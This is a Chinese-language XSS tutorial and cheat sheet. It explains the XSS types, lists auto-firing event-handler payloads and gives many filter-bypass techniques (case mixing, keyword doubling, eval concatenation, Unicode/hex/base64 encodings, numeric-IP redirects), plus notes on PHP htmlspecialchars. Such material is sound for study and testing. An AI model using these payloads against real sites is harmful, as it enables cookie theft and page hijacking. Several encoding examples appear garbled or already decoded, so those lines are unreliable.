一、xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
二、XSS的攻击方式
1、 反射型XSS:<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。一般是后端代码进行处理;
2、存储型XSS:<持久化> 代码是存储在服务器数据库中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内);
3、DOM型XSS:基于文档对象模型Document Objeet Model,DOM)的一种漏洞。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。一般是浏览器前端代码进行处理;
三、导致的结果:
1.挂马
2.盗取用户Cookie。
3.DOS(拒绝服务)客户端浏览器。
4.钓鱼攻击,高级的钓鱼技巧。
5.删除目标文章、恶意篡改数据、嫁祸。
6.劫持用户Web行为,甚至进一步渗透内网。
7.爆发Web2.0蠕虫。
8.蠕虫式的DDoS攻击。
9.蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据
10.其它安全问题
四、一些自动触发JS代码的标签
1、<script>:
<script> alert("登录成功!"); </script>
<script> console.log("登录成功!"); </script>
2、<img>:
// onerror 参数:若 image.png 加载失败则会执行 onerror 的内容;
<img src="image.png" onerror="alert('Failed to load image')">
3、<input>:
(1)
// 当鼠标焦点在text输入框中时,会自动触发 onfocus 后的内容
<form action=""><input type='text' name='text' onfocus=alert("ww");>
</form>
(2)
// autofocus 会自动定位输入框的位置,然后就会自动执行 onfocus 后的内容
<form action=""><input type='text' name='text' onfocus=alert("ww") autofocus>
</form>
(3)
// onblur 是当鼠标定位到输入框,再移动开时会触发 onblur 之后的js代码
<form action=""><input type='text' name='text' onblur=alert("ww") autofocus>
</form>
(4)
// onclick 是要点击后才会触发
<form action=""><input type="submit" name="submit" value="ww" onclick="alert('ww');">
</form>
4、<details>
(1)
// 当点击展开时触发 ontoggle 后的内容,然后显示 <summary> 后面的内容
<details ontoggle=alert('ww');><summary>Copyright 2011.</summary><p>All pages and graphics on this web site are the property of W3School.</p>
</details>
(2)
// open 属性可以自动触发 ontoggle 后面的内容
<details open ontoggle=alert(1);><summary>Copyright 2011.</summary><p>All pages and graphics on this web site are the property of W3School.</p>
</details>
5、<svg>
//用来在HTML页面中直接嵌入SVG 文件的代码,onload 后的内容直接触发
<svg onload=alert(1);>
6、<select>
(1)
// 点击下拉菜单时,会触发 onfocus 后面的内容
<select onfocus=alert(1)><option>1</option><option>2</option><option>3</option>
</select>
(2)
// autofocus 会不用点击自动触发 onfocus 后的内容
<select onfocus=alert(1) autofocus><option>1</option><option>2</option><option>3</option>
</select>
7、<ifream>
// 在显示嵌入内容前,自动执行 onload 后的内容
<iframe onload=alert(1);></iframe>
8、<video>
// 在显示 video 失败后执行 onerror 后的内容
<video><source onerror=alert(1)>
9、<audio>
// 在音频加载失败后执行 onerror 后的内容
<audio src=x onerror=alert(1);>
10、<body>
(1)
// 在加载 <body> 标签时执行 onload 后的内容
<body onload=alert(1);><p>132<p>
</body>
(2)
// onscroll 是在滑动滚轮的时候,执行后面的代码
<body onscroll=alert(1);>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus><p>123<p>
</body>
11、<textarea>
// 自动聚焦,自动执行 onfocus 后的内容
<textarea onfocus=alert(1); autofocus>
</textarea>
五、一些绕过过滤的方法:
1.空格过滤:如果空格被过滤了,我们可以用
(1)/ ;
(2)/**/;
补充:
<input name="1"type="text"value="2"> // 是可以正常执行的,也就是各个属性之间不需要空格
<inputname="1"type="text"value="2"> // 不能正常执行
可以用 /**/ 或 / 进行绕过空格
<img/**/src="x"/**/onerror=alert(1);>
<img/src="x"/onerror=alert(1);>
2.引号过滤
如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号:
# 反引号 `` 位于键盘右上角 esc 下面
<img src=x onerror=alert(`xss`);>
3.括号过滤
当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。
<img src=x onerror="javascript:window.onerror=alert;throw 'ww'">
<a onmouseover="javascript:window.onerror=alert;throw 'ww'">
4.关键字过滤
(1)大小写绕过
<sCRiPt>alert('ww');</sCrIpT>
<ImG sRc=x onerRor=alert('ww');>
(2)双写绕过
有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过
<scrscriptipt>alert(1);</scrscriptipt>
<imimgg srsrcc=x onerror=alert(1);>
5.字符串拼接绕过:利用eval()函数
与PHP的eval()函数相同,JavaScript的eval()函数也可以计算 JavaScript 字符串,并把它作为脚本代码来执行。
<img src = x onerror="eval(alert('ww'))">
<img src="x" onerror="a='aler';b='t';c='(`ww`)';eval(a+b+c)">
6.编码绕过
(1)Unicode编码绕过:
(1)分号可有可无,&# 后跟字符ascii的10进制
<img src="x" onerror="alert("xss");">(2)&#x 后跟字符ascii的16进制
<img src="x" onerror="javascript:alert(xss)">(3)使用 unicode 编码时,必须使用 eval(),\u 后跟4位16进制数
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
(2)url编码绕过
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
# 数据url,以 data:text/html,开头,后面嵌入代码
(3)ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
# String.fromCharCode() 它用于根据给定的 Unicode 值创建一个字符串
(4)hex绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
(5)base64绕过
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
# atob() 是 base64 解码函数<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
7.过滤url地址
(1)使用url编码
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`><img src="x" onerror=location=`javascript:alert('xss')`>
(2)使用IP
1.十进制IP
<img src="x" onerror=document.location=`http://2130706433/`>
2.八进制IP
<img src="x" onerror=document.location=`http://0177.0.0.01/`>
3.十六进制IP
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
4.html标签中用 // 可以代替 http://
<img src="x" onerror=document.location=`//www.baidu.com`>
5.使用 \\
但是要注意在windows下\本身就有特殊用途,是一个path 的写法,所以\\在Windows下是file协议,在linux下才会是当前域的协议
6.使用中文逗号代替英文逗号,如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号
<img src="x" onerror="document.location=`http://www。baidu。com`">
8.单引号闭合+htmlspecialchars函数绕过
'οnmοuseοver='alert(/xss/)
9.JavaScript伪协议
"><a href=javascript:alert(/xss/)> o_n和<scr_ipt>过滤
六、过滤函数
1、htmlspecialchars($string, $flags, $encoding, $double_encode):
(1)$flag : 关注的参数有 ENT_QUOTES 和 ENT_HTML5
1、只有 ENT_HTML5 :跟没有一样,只做如下操作
把 " 转义为 "
把 < 转义为 <
把 > 转义为 >
把 & 转义为 &
' 不做处理2、只有 ENT_QUOTES :会对单引号进行转义
把 " 转义为 "
把 < 转义为 <
把 > 转义为 >
把 & 转义为 &
把 ' 转义为 Ɖ、ENT_QUOTES | ENT_HTML5
把 " 转义为 "
把 < 转义为 <
把 > 转义为 >
把 & 转义为 &
把 ' 转义为 &apos
(2)$encoding :用于指定字符编码的字符串,如果未指定,则默认使用脚本的字符编码
(3)$double_encode
:一个布尔值,表示是否对已存在的 HTML 实体进行二次转义。默认为 true
七、绕过过滤的常见事件总结
1、鼠标相关:
(1)onclick:鼠标单击事件
(2)onmouseover:鼠标移入事件
(3)onmouseout:鼠标移出事件
2、键盘相关:
(1)onkeydown:键盘键按下事件
(2)onkeyup: 键盘键松开事件
3、表单相关:
(1)onfocus:输入框获取焦点事件
(2)onblur:输入框失去焦点事件
(3)onchange:下拉列表 内容改变事件
(4)onsubmit:表单提交事件
4、其他:
(1)onload:页面加载事件
补充:
1、如果网页请求方式为 get
(1)若是在url中直接对变量赋值,例如 index.php?id=aj ,在 url 提交后,浏览器会自动对 id 的值进行过滤,对 & 号包括 & 号后面的内容进行置空;
(2)若是在表单中对变量进行赋值,则会对 j 进行解码,在界面中显示 j
<?php$str = $_GET['id'];echo '<form action="#" method="get"><input type="text" name="id"><input type="submit" value="提交"></form>';echo $str;
?>
2、有时候进行标签闭合时后,单双引号都可以
<?php$str = $_GET['id'];echo '<form action="#" method="get"><input type="text" name="id"><input type="submit" value="提交"></form>';echo $str;
?>在表单中使用 a 标签时,'><a href=javascript:alert(1)>111</a> 和"><a href=javascript:alert(1)>111</a> 都可以进行xss注入
3、无法对标签使用 html 编码
(1)可以对 a 标签的 href 属性内容用 html 编码:
<a href=javascript:alert(1)>111</a>
(2)可以对事件属性使用 html 编码:
" onclick=javascript:alert(1) o
(3)对 iframe 标签的 src 属性内容使用 html 编码:
原代码:<iframe src="data:text/html,<script>alert('xss')</script>"></iframe>
html转码后:
<iframe src="data:text/html,<script>alert('xss')</script>"></iframe>
4、html 编码若是在属性中才会被解码:
(1)<script> alert('a') </script> 此时弹窗显示的是 a
(2)<a href="javascript:alert('a')">111</a> 此时弹窗显示的是 a